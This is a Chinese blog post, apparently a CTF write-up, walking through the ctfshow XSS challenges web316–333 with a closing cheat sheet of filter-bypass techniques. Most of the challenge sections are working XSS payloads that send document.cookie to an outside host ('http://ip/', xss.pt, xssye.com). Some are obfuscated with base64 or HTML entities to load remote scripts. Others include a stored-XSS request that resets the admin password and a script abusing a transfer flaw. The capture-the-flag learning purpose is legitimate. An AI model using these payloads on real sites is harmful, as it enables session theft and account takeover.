前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布

xss

作者头像
故里[TRUE]
发布2023-04-16 14:08:39
8720
发布2023-04-16 14:08:39
举报
文章被收录于专栏:网络安全【故里】

ctfshow里面的xss刷题记录(有xss弹窗,建议若要点开请先关闭浏览器弹窗授权)

web316

这道题先测试一下

存在xss漏洞,毕竟是第一题,应该没有任何过滤,直接打cookie即可!XSS平台在这个平台里面

记录可用的姿势:

img <script> var img=document.createElement("img"); img.src="http://ip/"+document.cookie; </script> 直接创建img标签的话,比如这样<img src="http://ip:39543/"+document.cookie />不行,这里识别不到document.cookie,套一层<script></script>也不行。 还有其他外带姿势 window.open <script>window.open('http://ip/'+document.cookie)</script> <script>window.location.href='http://ip/'+document.cookie</script> <script>location.href='http://ip/'+document.cookie</script> input也可以,但是要加上autofocus <input onfocus="window.open('http://ipx/'+document.cookie)" autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

svg标签 <svg onload="window.open('http://ip/'+document.cookie)">

iframe标签 <iframe onload="window.open('http://ip/'+document.cookie)"></iframe>

body标签 <body onload="window.open('http://ip/'+document.cookie)">

正常的vps需要nc,但是nc好像不能持续接收,但是方法有很多,可以重复起nc,也可以写个python然后起一个临时的服务器,接收一下get参数

代码语言:javascript
复制
python3 -m http.server 39543

这道题直接上传标准形式即可!

显示不是管理员没有flag

换一个,用一个url一次编码的

%26lt%3B%2FtExtArEa%26gt%3B%26%23039%3B%26quot%3B%26gt%3B%26lt%3BsCRiPt%20sRC%3Dhttps%3A%2F%2Fxss.pt%2Frxab%26gt%3B%26lt%3B%2FsCrIpT%26gt%3B

得到flag!

还有另一种方法,进行监听日志! <script>window.open('http://ip/'+document.cookie)</script>

web317

还是这样的界面,只不过已经开始过滤了,问题不大,过滤哪个就不用哪个,换成其他代码一样的步骤

代码语言:javascript
复制
 测试了一下过滤了script,使用img标签!

'"><img src=x 
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly94c3N5ZS5jb20veDNUdyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))> 

成功反弹,但是还是不能成为ADMIN,尝试一下用 <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#120;&#115;&#115;&#121;&#101;&#46;&#99;&#111;&#109;&#47;&#120;&#51;&#84;&#119;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

得到flag

- HTML(超文本标记语言) | MDN (mozilla.org)

web318

这道题增加了过滤,查询得到这道题过滤了img标签

img标签也被过滤了,可以用body标签,这个标签不容易被ban <body onload=alert(0)></body>,成功回显。

  • 过滤img,用xss平台的实体十六进制编码 <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#x3C;&#x73;&#x43;&#x52;&#x69;&#x50;&#x74;&#x20;&#x73;&#x52;&#x43;&#x3D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x78;&#x73;&#x73;&#x79;&#x65;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x71;&#x79;&#x52;&#x43;&#x22;&#x3E;&#x3C;&#x2F;&#x73;&#x43;&#x72;&#x49;&#x70;&#x54;&#x3E;>

web319

这道题同上,没用过滤iframe <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#120;&#115;&#115;&#121;&#101;&#46;&#99;&#111;&#109;&#47;&#113;&#121;&#82;&#67;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

web320

  • 过滤了空格可以换%09制表符或者/来代替

<iframe/WIDTH=0/HEIGHT=0/srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#120;&#115;&#115;&#121;&#101;&#46;&#99;&#111;&#109;&#47;&#113;&#121;&#82;&#67;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;> <body/onload=document.location='http://ip/cookie.php?cookie='+document.cookie;> <body onload=document.location='http://ip/'+document.cookie;>

web321-326

过滤的不影响payload,通杀!

web327

储存型xss

还用上一题的方法还是可!

web328

先注册一个用户

盗取到cookie!

替换cookie,成为admin

web329

查资料发现从这题开始,cookie都是短时的,截获的的cookie都会失效!

可以看到截获的cookie在不断变化,同时都是无法正常使用的

最后神奇的出来了cookie!

web330

使用bp抓包修改密码

进入admin,得到flag

web331

这里发现变成了post请求,用window.open肯定不行了

查一下javascript如何发送Http请求

代码语言:javascript
复制
var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

用这个,在注册页payload

var httpRequest =new XMLHttpRequest();httpRequest.open('POST','http://127.0.0.1/api/change.php',true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');

登录admin即可!

web332

注册用户,然后给admin转账-100000也就是自己多了100000

web333

这道题是不能向其他账户转账的,只能向自己转账,且只能转低于自己现有钱的数目,比如现在有5块,那么最多只能转5块,接下来的就慢慢跑到10000即可,用burp可以跑:

写个脚本也可以

代码语言:javascript
复制
import requests
import re
import time
x=5
url="http://93a2a39e-623a-4cc6-bea3-6e43db483fd7.challenge.ctf.show/api/amount.php"
url2="http://93a2a39e-623a-4cc6-bea3-6e43db483fd7.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=g4fohb8r0onc7p66qf4oasoh0l'}  #自己登录后的sessionid
while True:
   print(x)
   t=x-1
   data={
   'u':'000', #注册的用户名
   'a':str(t)
   }
   r=requests.post(url,headers=headers,data=data)
   print(r.text)
   if(x>10000):
      r2=requests.get(url2,headers=headers)
      print(r2.text)
      break
   x+=t

总结

无任何过滤情况下的XSS

当没有过滤发生时,可以的XSSpayload就太多了,包括但不限于:

代码语言:javascript
复制
<script>:
<script>alert(1);</script>

<body>:
<body onload=alert(1);>

<img>:
<img src='' onerror=alert(1);>

<svg>:
<svg onload=alert(1);>

<iframe>:
<iframe onload=alert(1);></iframe>

<video>:
<video><source onerror=alert(1);>

<audio>:
<audio src='' onerror=alert(1);>

过滤空格的情况

当发现题目过滤了空格的时候,就可以用/去绕过空格 比如:

代码语言:javascript
复制
<body/onload=alert(1);>

过滤了关键字

大小写绕过

当过滤了像img这样的关键字时,可以尝试去用大小写去绕过:

代码语言:javascript
复制
<ImG sRc='' OnErroR=alert(1);>

双写绕过

或者可以用双写绕过:(当waf是只匹配一次,且替换为空时可以双写)

代码语言:javascript
复制
<imimgg srsrcc='' onerror=alert(1);>

拼接绕过

也可以用eval或者top来进行拼接

代码语言:javascript
复制
<img src='' onerror="a='aler';b='t';c='(1);';eval(a+b+c)">

<img src='' onerror=top["ale"+"rt"](1);>

编码绕过:

可以用unicode编码绕过 <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> url编码 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> Ascii码绕过 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> hex绕过 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> 八进制绕过 <img src=x onerror=alert('\170\163\163')> base64绕过 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 对于xss中用服务器查看日志也做一下记录 服务器中用到的apache,刚开始开启apache service apache2 start cd /var/log/apache2 日志一般都在access.log里面 对于过滤不严或者没有过滤的直接用

即可进行监听并查看日志得到关键信息

参考:

通过CTFSHOW来粗略学习XSS - o3Ev的小家

[Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2021/04/20/ctfshow web入门(xss)/)

CTFSHOW]XSS入门(佛系记录)_Y4tacker的博客-CSDN博客_ctfshow web入门xss

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-03-242,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • web316
  • web317
  • web318
  • web319
  • web320
  • web321-326
  • web327
  • web328
  • web329
  • web330
  • web331
  • web332
  • web333
  • 总结
    • 无任何过滤情况下的XSS
      • 过滤空格的情况
        • 过滤了关键字
          • 大小写绕过
            • 双写绕过
              • 拼接绕过
                • 编码绕过:
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档